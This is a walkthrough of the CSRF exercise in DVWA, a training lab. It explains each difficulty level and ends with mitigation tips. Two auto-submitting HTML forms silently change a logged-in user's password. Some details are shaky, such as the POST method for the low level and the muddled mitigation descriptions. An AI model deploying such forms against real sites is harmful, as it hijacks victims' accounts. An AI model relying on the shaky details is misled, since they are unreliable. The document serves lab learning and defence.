### DVWA CSRF Vulnerability Walkthrough and Explanation
#### Understanding CSRF in DVWA
Cross-Site Request Forgery (CSRF) is a type of attack that tricks the victim into submitting a malicious request. It forces an end user to execute unwanted actions on a web application in which they are authenticated[^1]. In DVWA, this vulnerability can be explored at different difficulty levels including Low, Medium, High, and Impossible.
For the **Low level**, no token or any form of validation exists. An attacker could craft a simple HTML page with hidden fields mimicking the target's POST data structure:
```html
<form action="http://192.168.112.188/dvwa/vulnerabilities/csrf/" method="POST">
<input type="hidden" name="password_new" value="hacked"/>
<input type="hidden" name="password_confirm" value="hacked"/>
<input type="submit" value="Change Password"/>
</form>
<script>document.forms[0].submit();</script>
```
At the **Medium level**, although there might not be strict anti-CSRF tokens implemented, other defenses such as checking HTTP referer headers may apply. However, these checks often prove insufficient against sophisticated attacks because attackers can manipulate browser behavior through various means like embedding images pointing to internal URLs within external pages[^2].
In more advanced scenarios—like those found under 'High' settings—the presence of unique per-session tokens makes exploitation significantly harder but still possible via techniques involving session fixation or exploiting XSS flaws elsewhere on the site.
The ultimate goal when configuring security measures should always aim towards achieving what DVWA terms "Impossible". Here, comprehensive protections prevent successful forgery attempts by ensuring each legitimate operation includes unpredictable values tied directly back to individual sessions.
#### Demonstrating Exploitation Process
To demonstrate how one exploits CSRF vulnerabilities present in lower difficulties using DVWA:
- Create an HTML file named `change_password.html` containing crafted forms targeting password change functionality.
```html
<!-- Example for low-level CSRF -->
<!DOCTYPE html>
<html lang="en">
<head><title>Exploit Page</title></head>
<body onload='document.getElementById("csrf").submit()'>
<form id="csrf" action="http://target-ip-address/dvwa/vulnerabilities/csrf/" method="POST">
<input type="text" name="password_new" value="newpass"/>
<input type="text" name="password_confirm" value="newpass"/>
<input type="submit" name="Change" />
</form>
</body>
</html>
```
Upon loading this exploit page while logged into DVWA, it automatically submits the form changing your account’s credentials without explicit consent from you.
#### Mitigation Strategies Against CSRF Attacks
Implementing robust countermeasures involves several best practices:
- Utilizing synchronized cookie patterns where requests must include both cookies and matching parameters sent along with them.
- Generating cryptographically secure random numbers used once per transaction known as synchronizer tokens stored server-side during login then validated upon submission.
- Employing double submit cookies strategy wherein clients send two copies of their session identifier – one inside standard Cookie header another explicitly included among submitted variables.
